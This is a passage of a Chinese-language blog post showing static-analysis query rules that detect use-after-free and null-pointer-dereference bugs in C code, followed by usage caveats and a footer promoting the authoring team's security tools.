leaf="">p <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$focus</span></span></code><br/><code><span leaf="">q <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$alias</span></span></code><br/><code><span leaf="">r <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$other</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$focus</span>&lt;<span class="code-snippet__title">pointsTo</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$obj</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$alias</span>&lt;<span class="code-snippet__title">aliases</span>(target=<span class="code-snippet__variable">$focus</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$hit</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$other</span>&lt;<span class="code-snippet__title">aliases</span>(target=<span class="code-snippet__variable">$focus</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$miss</span></span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">q = p</span></code><span leaf=""> 时，</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">hit</span></code><span leaf=""> 会留下 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">q、r</span></code><span leaf=""> 是另一次 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">malloc、miss</span></code><span leaf=""> 应为空。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">和 CFG 拼在一起</span></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;uaf()&gt;</span></code><span leaf=""> 给出的命中已经考虑过分支。如果报告上还想标路径，可以再问：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf="">p <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$p</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$p</span>&lt;<span class="code-snippet__title">freeCall</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$free</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$p</span>&lt;<span class="code-snippet__title">uaf</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$use</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$use</span>&lt;<span class="code-snippet__title">cfgReachable</span>(target=<span class="code-snippet__variable">$free</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$use2</span></span></code><br/><code><span leaf="">alert <span class="code-snippet__variable">$use2</span></span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><div data-nest-level="2" data-pm-slice="6 2 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: bold;visibility: visible;">六、</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">使用时要注意</span></strong></p></div></div></div></div><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">现在主要是 C。别的语言如果没有同样的分配、释放信息，问了也可能是空的。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">跨函数只跟一层。freep(p) 这种包装通常没问题；函数指针、绕很深的释放，可能会漏，或者偏保守。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">先全项目扫可以，定规则的时候尽量绑到具体指针。</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">$p&lt;uaf()&gt;</span></code><span leaf=""> 比 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*&lt;uaf()&gt;</span></code><span leaf=""> 干净。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;derefSite()&gt;</span></code><span leaf=""> 只管写成 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p</span></code><span leaf=""> 的读取。</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">p-&gt;field</span></code><span leaf=""> 或 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p = ...</span></code><span leaf=""> 不一定出现在这个列表里，但</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;uaf()&gt;、&lt;npd()&gt;</span></code><span leaf=""> 还是可能从成员访问报出来。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;nullCheck()&gt;</span></code><span leaf=""> 请跟在目标指针后面。写成 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*&lt;nullCheck()&gt;</span></code><span leaf=""> 时，if (abrt) 这种普通条件有时也会被收进来。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">指针当参数传出去，NPD 不会把它当成解引用。</span></p></li></ol></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: center;"><div style="display: flex;justify-content: center;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin: -10px 0px 0px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);text-align: justify;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 1 auto;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">END</span></p></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;margin: 15px 0px 0px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px 15px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: left;"><div style="display: flex;justify-content: flex-start;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: justify;"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px 0px 8px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;clear: both;min-height: 1em;"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="list-style-type: disc;max-width: 100%;box-sizing: border-box;"><p style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;max-width: 100%;"><ul style="list-style-type: disc;padding-left: 0px;box-sizing: border-box;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><span leaf="" style="box-sizing: border-box;">Memfit：<span textstyle="" style="font-size: 13px;">是万径安全旗下Yaklang团队研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域Agent系统</span></span></p></li></ul><ul style="list-style-type: disc;padding-left: 0px;box-sizing: border-box;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><span leaf="" style="box-sizing: border-box;">Yakit：<span textstyle="" style="font-size: 13px;">是万径安全旗下Yaklang 团队开源的一款完全国产的交互式安全测试平台</span></span></p></li></ul></p></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(210, 64, 12);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 